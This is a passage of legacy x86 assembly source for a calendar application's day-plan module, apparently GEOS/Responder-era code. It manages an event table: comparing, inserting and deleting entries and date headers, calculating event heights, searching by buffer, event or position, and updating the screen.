displayed in the correct order immediately after modification) CALLED BY: DayPlanInsertEvent PASS: DS:DI = EventTable BX = Offset to the EventTableEntry BP = Year DX = Month/Day CX = Hour/Minute AX = Repeat ID (if any) RETURN: Sets N & Z flags DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 9/27/89 Initial version Don 10/13/94 Ordering for repeating events %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EventCompare proc near class DayPlanClass ; friend to this class .enter ; Just do the comparison ; ; for responder this is removed because Reserve whole day events ; are treated as multiple day events and if we are on the 2nd ; reserve whole day event, event will automatically inserted into ; slot 00:00 regardless of its start time because ETE_day is smaller ; than current date. ; cmp bp, ds:[di][bx].ETE_year jne done cmp dx, {word} ds:[di][bx].ETE_day jne done cmp cx, {word} ds:[di][bx].ETE_minute jne done ; Times are the same. Perform comparison based upon Repeat ID, if ; both events are repeating (or a descendants of a repeating event) ; tst ax jz done ; not repeat, return Z = 1 tst ds:[di][bx].ETE_repeatID jz done ; not repeat, return Z = 1 cmp ax, ds:[di][bx].ETE_repeatID ; ...else perform comparison done: .leave ret EventCompare endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanDeleteCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Involved in removing an EventTableEntry. Does the following: - Update the document size - Remove a header, if necessary - Remove this structure CALLED BY: DayPlanDeleteETE, DayPlanDeleteRepeatEvent PASS: ES = DGroup DS:*SI = DayPlan instance data DS:*BP = EventTable BX = Offset to EventTableEntry to be removed RETURN: CX = Group of deleted ETE DX = Item of deleted ETE DESTROYED: AX, DI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 2/15/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanDeleteCommon proc near class DayPlanClass .enter ; Update the document height ; mov di, ds:[bp] ; dereference the event table push ds:[di][bx].ETE_group push ds:[di][bx].ETE_item ; push the group & item #'s mov cx, ds:[di][bx].ETE_size ; event size => CX mov di, ds:[si] ; dereference the DayPlan add di, ds:[di].DayPlan_offset ; access my instance data or ds:[di].DPI_flags, (DP_NEEDS_REDRAW or DP_DIRTY) sub ds:[di].DPI_docHeight, cx ; update the document size ; Delete (??) the header event, and this EventTableEntry ; mov di, bp ; EventTable handle => DI call DayPlanDeleteHeader ; delete header if any call DeleteETEAndUpdate ; delete the structure pop cx, dx ; group => CX; item => DX .leave ret DayPlanDeleteCommon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanInsertHeader %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Insert a header event into the EventTable (if necessary) CALLED BY: DayPlanInsertEvent PASS: DS:*SI = EventTable ES = DGroup SS:BP = New EventTableEntry BX = Offset to insert new entry RETURN: BX = Adjusted offset DESTROYED: AX, CX, DI PSEUDO CODE/STRATEGY: We need to insert a header event iff: headerFlag = TRUE EventTableEntry prior to new is of a different day KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 1/1/90 Initial version sean 3/19/95 To Do list changes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanInsertHeader proc near class DayPlanClass .enter ; First check the header flag ; sub bx, size EventTableEntry ; go backward one entry mov di, offset DPResource:DayPlanObject mov di, ds:[di] ; dereference the handle add di, ds:[di].DayPlan_offset ; access the instance data TODO < test ds:[di].DPI_prefFlags, PF_TODO > TODO < jnz done > test ds:[di].DPI_printFlags, mask DPPF_FORCE_HEADERS jnz checkPrior cmp ds:[di].DPI_rangeLength, 1 ; do we want headers ?? je done ; jump if only one day! ; Is prior ETE of the same day ?? checkPrior: mov di, ds:[si] ; derference the EventTable cmp bx, size EventTableHeader jl doInsert ; first entry - insert mov cx, {word} ss:[bp].ETE_day ; new month/day to CX cmp cx, {word} ds:[di][bx].ETE_day jne doInsert ; month/day not equal - insert mov cx, ss:[bp].ETE_year ; new year to CX cmp cx, ds:[di][bx].ETE_year je done ; years equal - done ; Insert the header doInsert: add bx, size EventTableEntry ; restore BX to insert position call InsertETEAndUpdate ; Store the EventTable information ; clr ax ; zero to AX add di, bx ; go the this entry mov cx, ss:[bp].ETE_year mov ds:[di].ETE_year, cx mov cx, {word} ss:[bp].ETE_day mov {word} ds:[di].ETE_day, cx mov {word} ds:[di].ETE_minute, -2 ; must precede blank, which =-1 mov ds:[di].ETE_repeatID, ax mov ds:[di].ETE_group, ax mov ds:[di].ETE_item, 1 mov ds:[di].ETE_handle, ax ; Update the size information ; mov cx, es:[oneLineTextHeight] ; one line size to CX mov ds:[di].ETE_size, cx ; store the size mov di, offset DPResource:DayPlanObject mov di, ds:[di] add di, ds:[di].DayPlan_offset add ds:[di].DPI_docHeight, cx ; track the document size done: add bx, size EventTableEntry ; update (or restore) index .leave ret DayPlanInsertHeader endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanDeleteHeader %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete header event, if no events on the given date no longer exist. CALLED BY: DayPlanDeleteEvent PASS: DS:*SI = DayPlan instance data DS:*DI = EventTable BX = Offset to ETE that will be deleted RETURN: BX = Updated offset DESTROYED: AX, CX, DX PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 1/6/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanDeleteHeader proc near class DayPlanClass uses di, si, bp .enter ; First some set-up work ; mov si, ds:[si] ; dereference the dayplan add si, ds:[si].DayPlan_offset ; access instance data cmp ds:[si].DPI_rangeLength, 1 ; if one day, no header je done test ds:[si].DPI_flags, DP_HEADERS ; do we want all headers?? jne done ; if so, do nothing mov ax, di ; table handle to AX mov di, ds:[di] ; dereference the table handle mov cx, {word} ds:[di][bx].ETE_day ; month/day => CX mov dx, ds:[di][bx].ETE_year ; year => DX ; Check for event of same date after us ; mov bp, bx ; offset to BP add bp, size EventTableEntry ; BP points at next ETE cmp bp, ds:[di].ETH_last ; offset too big ?? jge checkBefore ; yes, jump cmp cx, {word} ds:[di][bp].ETE_day ; compare month & day jne checkBefore cmp dx, ds:[di][bp].ETE_year ; compare the year je done ; a match - don't delete header ; Check for header before us checkBefore: mov bp, bx sub bp, size EventTableEntry ; go to previous ETE cmp ds:[di][bp].ETE_group, 0 ; is the group zero ?? jne done ; no, so can't be header cmp ds:[di][bp].ETE_item, 1 ; is this a header jne done ; no, so can't be a header ; We have a header - so remove it! ; mov bx, bp ; offset to delete to BX mov cx, ds:[di][bx].ETE_size ; size to CX push ds:[di][bx].ETE_handle ; save the handle sub ds:[si].DPI_docHeight, cx ; update document size mov di, ax ; Table handle back to DI call DeleteETEAndUpdate ; delete the header !! ; Free the handle, if any ; pop ax ; buffer handle to AX tst ax je done call BufferFree ; else free the buffer done: .leave ret DayPlanDeleteHeader endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InsertETEAndUpdate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Inserts an EventTableEntry into the EventTable, and updates the header CALLED BY: DayPlanInsertEvent, DayPlanInsertHeader PASS: DS:*SI = EventTable BX = Offset to insert at RETURN: DS:DI = EventTable DESTROYED: AX, CX PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 1/2/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InsertETEAndUpdate proc near .enter ; First insert the bytes ; mov ax, si mov cx, size EventTableEntry call LMemInsertAt ; insert the bytes at BX ; Update the header ; mov di, ds:[si] ; dereference the handle again add ds:[di].ETH_last, cx ; move things along cmp ds:[di].ETH_screenLast, OFF_SCREEN_BOTTOM EC < jne continue > EC < cmp ds:[di].ETH_screenFirst, OFF_SCREEN_TOP > EC < je done > EC < ERROR DP_VERIFY_INVALID_EVENT_TABLE > EC <continue: > je done ; if no prev events, do nothing cmp bx, ds:[di].ETH_screenLast ja done ; jump if larger add ds:[di].ETH_screenLast, cx cmp bx, ds:[di].ETH_screenFirst ja done ; jump if larger add ds:[di].ETH_screenFirst, cx done: .leave ret InsertETEAndUpdate endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DeleteETEAndUpdate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Deletes an EventTableEntry from the EventTable, and updates the header CALLED BY: GLOBAL PASS: DS:*DI = EventTable BX = Offset to delete at RETURN: Nothing DESTROYED: AX, CX PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: ScreenFirst could become garbaged! REVISION HISTORY: Name Date Description ---- ---- ----------- Don 1/6/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DeleteETEAndUpdate proc near uses si .enter ; First delete the bytes ; mov ax, di ; chunk handle to AX mov cx, size EventTableEntry ; bytes to remove call LMemDeleteAt ; insert the bytes at BX ; Update the header ; mov si, ds:[di] ; dereference the handle again sub ds:[si].ETH_last, cx ; move things along mov ax, ds:[si].ETH_screenLast cmp ax, ds:[si].ETH_screenFirst ; if first = last jne updateHeader ; then no more buffers are used mov ds:[si].ETH_screenFirst, OFF_SCREEN_TOP mov ds:[si].ETH_screenLast, OFF_SCREEN_BOTTOM jmp done updateHeader: cmp bx, ds:[si].ETH_screenLast ja done ; jump if larger sub ds:[si].ETH_screenLast, cx cmp bx, ds:[si].ETH_screenFirst jae done ; jump if larger sub ds:[si].ETH_screenFirst, cx done: .leave ret DeleteETEAndUpdate endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EventCalcHeight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Calculate the height of an event CALLED BY: GLOBAL PASS: AX = Group # for the Event DI = Item # for the Event CX = Width of the event's text field (not the window) DS = DPResource segment ES = DGroup RETURN: DX = The height of the object DESTROYED: AX, DX, DI, BP PSEUDO CODE/STRATEGY: If (AX == 0) Then size = one line height (header or virgin) Else { Stuff size object with the text Calculate the height } Also, if we are printing events inside of a month object, we want events without a time to occupy the entire width, so we calculate by re-adding in the timeWidth offset. KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/4/89 Initial version sean 8/1/95 Responder changes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EventCalcHeightFar proc far call EventCalcHeight ret EventCalcHeightFar endp EventCalcHeight proc near uses ax, cx, si, es .enter ; Handle the header & virgin events ; mov dx, es:[oneLineTextHeight] ; one line height to DX tst ax ; no group ?? (VRIGIN EVENT ?) jz done ; If we're in "Narrow" mode for Responder, then we don't want ; multi-line events. ; test es:[searchInfo], mask SI_SEARCHING jnz done ; searching doesn't height push cx ; save the width test ax, REPEAT_MASK ; test for a repeat event jne repeat ; Handle the normal event ; call GP_DBLock ; lock the Event Struct mov bp, es:[di] ; dereference the handle mov cx, es:[bp].ES_dataLength ; # of bytes add bp, offset ES_data ; DX:BP points to the text jmp common ; Handle the repeat case repeat: and ax, not REPEAT_MASK ; clear the mask bit call GP_DBLock ; lock the Repeat Struct mov bp, es:[di] ; dereference the handle mov cx, es:[bp].RES_dataLength add bp, offset RES_data ; Set the text and call for the resize common: DBCS < shr cx, 1 ; cx <- # of chars > mov dx, es mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR ; set the text mov si, ss:[SizeTextObject] ; handle of object to SI call ObjCallInstanceNoLock RespCheckDB call DBUnlock ; unlock the database pop cx ; width => CX clr dx ; don't use cached size mov ax, MSG_VIS_TEXT_CALC_HEIGHT ; calculate the height call ObjCallInstanceNoLock ; returned in DX done: .leave ret EventCalcHeight endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanETEUpdate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Update the group & item numbers of an EventTableEntry CALLED BY: DayEventUpdate (MSG_DP_ETE_UPDATE) PASS: DS:*SI = DayPlan instance data DS:DI = DayPlan specific instance data (by method call) CX = Group # DX = Item # BP = DayEvent handle RETURN: Nothing DESTROYED: BX, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/13/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanETEUpdate method DayPlanClass, MSG_DP_ETE_UPDATE .enter ; Find the handle from the corresponding EventTableEntry ; or ds:[di].DPI_flags, DP_DIRTY ; the DayPlan is now dirty call DayPlanSearchByBuffer jnc done ; jump if not found ; Else reset the group & item numbers ; mov di, ds:[di] ; dereference the EventTable mov ds:[di][bx].ETE_group, cx ; store the group # mov ds:[di][bx].ETE_item, dx ; store the item # ; Get the current selection - see if we are it ; mov bx, bp ; buffer handle => BX mov ax, MSG_DP_GET_SELECT call ObjCallInstanceNoLock xchg bx, bp ; swap the handles cmp bx, bp ; are they the same ?? jne done ; no, so do nothing mov ax, MSG_DP_SET_SELECT ; else resert the selection call ObjCallInstanceNoLock ; send the method done: .leave ret DayPlanETEUpdate endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanETEHeightNotify %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Updates an ETE's size value as the event text changes height CALLED BY: DayEventHeightNotify PASS: DS:*SI = DayPlan instance data BP = Handle of DayEvent CX = DayEvent's top boundary DX = New height RETURN: Nothing DESTROYED: AX, BX, CX, DX, DI, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 1/9/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanETEHeightNotify method DayPlanClass, MSG_DP_ETE_HEIGHT_NOTIFY .enter ; For Responder, if we're showing the main view(Calendar & ; Events) we don't want events to be multi-line. This fixes ; it so events will only be shown as single-line. (Bug #39100) ; ; Find the handle in the corresponding EventTableEntry ; call DayPlanSearchByBuffer ; look for the event jnc done ; if not found, exit! ; Compare the sizes ; mov di, ds:[di] ; dereference the table handle sub dx, ds:[di][bx].ETE_size ; size difference to DX jz done ; if none, do nothing add ds:[di][bx].ETE_size, dx mov di, ds:[si] ; derference the DayPlan handle add di, ds:[di].DayPlan_offset ; access the instance data add ds:[di].DPI_docHeight, dx ; adjust the document height ; Assume the height has changed, and mark the thing's geometry as ; invalid. ; mov cl, mask VOF_GEOMETRY_INVALID ; mark the geometry as invalid mov dl, VUM_MANUAL call VisMarkInvalid ; Now re-position everything (and redraw) ; mov cx, bx ; ETE offset to CX mov dl, SUF_STEAL_FROM_TOP ; steal from the top mov ax, MSG_DP_SCREEN_UPDATE ; update the screen call ObjCallInstanceNoLock ; re-draws the screen! done: .leave ret DayPlanETEHeightNotify endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanTimeNotify %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notify the DayPlan of a change in event time CALLED BY: GLOBAL PASS: DS:*SI = DayPlan instance data BP = DayEvent handle (buffer) CX = New time (hours:minutes) RETURN: Nothing DESTROYED: BX, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 5/17/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanTimeNotify method DayPlanClass, MSG_DP_ETE_TIME_NOTIFY .enter ; Find the handle in the corresponding EventTableEntry ; call DayPlanSearchByBuffer ; look for the event jnc done ; if not found, exit! mov di, ds:[di] ; dereference the table handle mov {word} ds:[di][bx].ETE_minute, cx done: .leave ret DayPlanTimeNotify endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanETELostBuffer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Notify an EventTableEntry that it no longer has a buffer (a DayEvent handle) CALLED BY: DayEventVisClose (MSG_DE_ETE_LOST_BUFFER) PASS: DS:*SI = DayEvent instance BP = DayEvent handle that's been lost RETURN: Nothing DESTROYED: AX, BX, DI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 2/21/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanETELostBuffer method DayPlanClass, MSG_DP_ETE_LOST_BUFFER .enter ; Find the EventTableEntry; clear the handle ; call DayPlanSearchByBuffer jnc done ; not found - do nothing mov di, ds:[di] ; dereference the EventTable mov ds:[di][bx].ETE_handle, 0 ; clear the stored handle done: .leave ret DayPlanETELostBuffer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanETEForceUpdate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Find (and update) a specific EventStruct CALLED BY: AlarmToScreen PASS: DS:*SI = DayPlan instance data CX = Group # DX = Item # RETURN: Nothing DESTROYED: AX, BX, DI, SI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 1/1/90 Initial version Don 3/22/90 Broke out separate search routine %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanETEForceUpdate method DayPlanClass, MSG_DP_ETE_FORCE_UPDATE uses cx .enter ; Find the event ; call DayPlanSearchByEvent ; find the sucker jnc done ; if not found, done mov di, ds:[di] ; dereference the handle mov si, ds:[di][bx].ETE_handle tst si ; valid handle ?? je done ; no, so jump mov ax, MSG_DE_UPDATE ; else update as needed... mov cl, DBUF_IF_NECESSARY call ObjCallInstanceNoLock done: .leave ret DayPlanETEForceUpdate endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanETEFindEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Search to see if the EventStruct is currently loaded into a DayEvent buffer. CALLED BY: GLOBAL (MSG_DP_ETE_FIND_EVENT) PASS: ES = DGroup DS:*SI = DayEvent instance data CX:DX = Event Group:Item RETURN: BP = Offset in EventTable AX = DayEvent buffer (if present) Carry = Set if found (clear if not) DESTROYED: DI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/20/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanETEFindEvent method DayPlanClass, MSG_DP_ETE_FIND_EVENT .enter call DayPlanSearchByEvent ; look for the event mov bp, bx ; offset to BP .leave ret DayPlanETEFindEvent endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanSearchByBuffer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Look for a specific EventTableEntry in the EventTable CALLED BY: GLOBAL PASS: DS = DPResource segment BP = DayEvent handle to look for RETURN: DS:*DI = EventTable BX = Offset to the EventTableEntry Carry = Set if found DESTROYED: AX PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 1/9/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanSearchByBuffer proc near uses si .enter ; Some set-up work ; mov di, offset DPResource:EventTable mov si, ds:[di] ; derference the handle mov bx, (size EventTableHeader - size EventTableEntry) ; Search loop searchLoop: add bx, size EventTableEntry cmp bx, ds:[si].ETH_last ; at the end of the table ?? jge done ; not found, exit (carry clear) cmp bp, ds:[si][bx].ETE_handle jne searchLoop stc ; found, so set the carry bit done: .leave ret DayPlanSearchByBuffer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanSearchByEvent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Search through the EventTable by event GROUP:ITEM values CALLED BY: GLOBAL PASS: DS = DPResource segment CX:DX = Event Group:Item to find RETURN: DS:*DI = EventTable BX = Offset to the EventTableEntry AX = DayEvent buffer handle (or 0 if none) Carry = Set if found DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- Don 3/22/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanSearchByEvent proc near uses si .enter ; Some set-up work ; mov di, offset DPResource:EventTable mov si, ds:[di] ; derference the handle mov bx, size EventTableHeader - (size EventTableEntry) ; Search loop searchLoop: add bx, size EventTableEntry cmp bx, ds:[si].ETH_last ; at the end of the table ?? jge done ; not found, exit (carry clear) cmp dx, ds:[si][bx].ETE_item ; compare the items jne searchLoop ; jump if not equal cmp cx, ds:[si][bx].ETE_group ; compare the groups jne searchLoop ; jump if not equal mov ax, ds:[si][bx].ETE_handle ; buffer handle => AX stc ; set carry bit (we found it) done: .leave ret DayPlanSearchByEvent endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanSearchByPosition %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Search through the EventTable for an event by its Y position CALLED BY: GLOBAL PASS: DS:*SI = DayPlanClass instance data CX = Y position (document offset) RETURN: DS:*DI = EventTable BX = Offset to the EventTableEntry AX = Top position of the event DESTROYED: Nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: If the position passed no longer exists, then the offset to the end of the last event is returned. REVISION HISTORY: Name Date Description ---- ---- ----------- Don 4/3/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanSearchByPosition proc far class DayPlanClass uses si .enter ; Some set-up work ; mov di, ds:[si] ; dereference the handle add di, ds:[di].DayPlan_offset ; access instance data mov di, ds:[di].DPI_eventTable ; access the event table mov si, ds:[di] ; dereference the handle mov bx, (size EventTableHeader) - (size EventTableEntry) clr ax ; begin offset count ; Loop to find position of the first object (actually one past) ; positionLoop: add bx, size EventTableEntry ; go to the next entry cmp bx, ds:[si].ETH_last ; compare with last entry je done ; we're done (carry clear) EC < ERROR_G DP_VERIFY_INVALID_EVENT_TABLE ; bizarre event table > add ax, ds:[si][bx].ETE_size ; add event size => doc offset cmp ax, cx ; compare current with desired jl positionLoop ; go 'round again sub ax, ds:[si][bx].ETE_size ; start position => AX done: .leave ret DayPlanSearchByPosition endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DayPlanScreenUpdate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Update the screen after an insertion CALLED BY: GLOBAL (MSG_DP_SCREEN_UPDATE) PASS: DS:*SI = DayEvent instance data CX = Offset to EventTableEntry to start update DL = ScreenUpdateFlags SUF_STEAL_FROM_TOP SUF_STEAL_FROM_BOTTOM SUF_NO_REDRAW SUF_NO_INVALIDATE RETURN: Nothing DESTROYED: AX, BX, DX, DI, BP PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Don 12/18/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DayPlanScreenUpdate method DayPlanClass, MSG_DP_SCREEN_UPDATE .enter ; See if memory is a problem ; mov ax, ds:[LMBH_blockSize] sub ax, ds:[LMBH_totalFree] ; used space => AX cmp ax, LARGE_BLOCK_SIZE ; using too much ? jb setup ; if smaller, don't worry mov ax, MSG_DP_FREE_MEM ; else free some memory mov bx, ds:[LMBH_handle] ; block handle => BX mov di, mask MF_FORCE_QUEUE ; put on end of the queue call ObjMessage ; Access the event table ; setup: push dx ; save ScreenUpdateFlags mov bp, ds:[si] ; dereference the handle add bp, ds:[bp].DayPlan_offset ; access the instance data and ds:[bp].DPI_flags, not DP_NEEDS_REDRAW mov di, ds:[bp].DPI_eventTable ; get the table handle mov di, ds:[di] ; dereference the table handle ; Find the upper screen position of the first buffer ; clr ax ; inital screen offset mov bx, size EventTableHeader ; offset to first ETE jmp midLoop posLoop: add ax, ds:[di][bx].ETE_size ; update the screen add bx, size EventTableEntry ; go to the next structure midLoop: cmp bx, cx jl posLoop push ax, bx ; screen & EventTable offset cmp bx, ds:[di].ETH_last ; if buffer was very last one LONG je position ; ...then just update screen ; ...as that buffer was deleted ; At this point, we need to know if any portion of the original screen ; will still be displayed. If so, we allow the buffer to be allocated ; on an as-needed basis. Else we free all the buffers. This is all ; to keep the buffers allocated contiguously... ; mov cx, bx ; current position => CX sub cx, size EventTableEntry ; can actually be one past... cmp cx, ds:[di].ETH_screenLast ; beyond the last ?? jg freeAll ; yes, so free all mov ds:[di].ETH_temp, ax ; store the screen offset here mov cx, ds:[bp].DPI_docOffset add ax, ds:[di][bx].ETE_size ; bottom of event => AX cmp ax, cx ; my bottom vs document offset jl freeAll ; if not on screen, free all push ds:[di].ETH_temp ; save screen offset push bx ; save table offset add cx, ds:[bp].DPI_viewHeight ; final screen position => CX call CheckScreenPosition ; handle of last event => BX cmp bx, ds:[di].ETH_screenFirst ; compare with first on screen pop ax, bx ; restore screen, table offsets jge midStuffLoop ; if last >= original first ; Free all the current buffers & 